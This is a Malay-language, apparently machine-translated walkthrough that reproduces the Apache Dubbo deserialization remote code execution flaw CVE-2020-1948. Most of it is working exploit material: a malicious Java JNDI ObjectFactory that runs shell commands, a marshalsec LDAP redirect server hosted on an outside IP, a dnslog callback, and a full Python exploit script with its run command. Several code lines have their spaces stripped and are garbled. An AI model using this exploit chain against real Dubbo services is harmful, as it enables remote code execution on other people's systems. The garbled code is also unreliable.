Dubbo ialah rangka kerja perkhidmatan berprestasi tinggi dan cemerlang sumber terbuka oleh Alibaba, yang membolehkan aplikasi merealisasikan output perkhidmatan dan fungsi input melalui RPC berprestasi tinggi, dan boleh disepadukan dengan lancar dengan rangka kerja Spring . Sistem ini mempunyai tiga fungsi teras, termasuk permohonan kaedah antara muka jauh, toleransi kesalahan pintar dan pengimbangan beban, dan pendaftaran automatik dan penemuan perkhidmatan.
Pada 23 Jun 2020, Apache Dubbo secara rasmi mengeluarkan notis risiko untuk pelaksanaan kod jauh Apache Dubbo Nombor kerentanan ialah CVE-2020-1948, dan tahap kerentanan ialah: tinggi. risiko. Apache Dubbo ialah rangka kerja Java RPC sumber terbuka berprestasi tinggi dan ringan yang menyediakan tiga keupayaan teras: penyerahan kaedah jauh berorientasikan antara muka, toleransi kesalahan pintar dan pengimbangan beban serta pendaftaran dan penemuan perkhidmatan automatik. Penyedia Apache Dubbo mempunyai kerentanan penyahserilan Penyerang boleh menghantar nama perkhidmatan atau nama kaedah yang tidak dikenali dan beberapa muatan parameter berbahaya melalui permintaan RPC Apabila parameter hasad dinyahsiri, ia boleh menyebabkan pelaksanaan kod jauh.
Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (secara rasmi tidak lagi diselenggara)
Versi jdk bagi persekitaran berjalan dan persekitaran exp tersusun adalah kedua-duanya 8u121 Mulakan persekitaran ujian
java -jar dubbo.jar
Selepas permulaan, ia akan mendengar port 12345
Kerentanan berulang Cap jari perkhidmatan:PORT STATE SERVICE VERSION12345/tcp opentextui Alibaba Dubbo remoting telnetd
importjavax.naming.Context; importjavax.naming.Name; importjavax.naming.spi.ObjectFactory; importjava.util.Hashtable; publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io"); returnnull; }}
javac calc.java
https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086
python3 -m pip install dubbo-py
# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')
python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc
Semak dnslog dan berjaya menerima permintaan
perkhidmatan ldap juga boleh melihat pemajuan permintaanKalkulator Bomimport javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class calc implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Runtime.getRuntime().exec("calc"); return null; } }
Atas ialah kandungan terperinci Bagaimana untuk menganalisis kelemahan penyahserialisasian Apache Dubbo. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!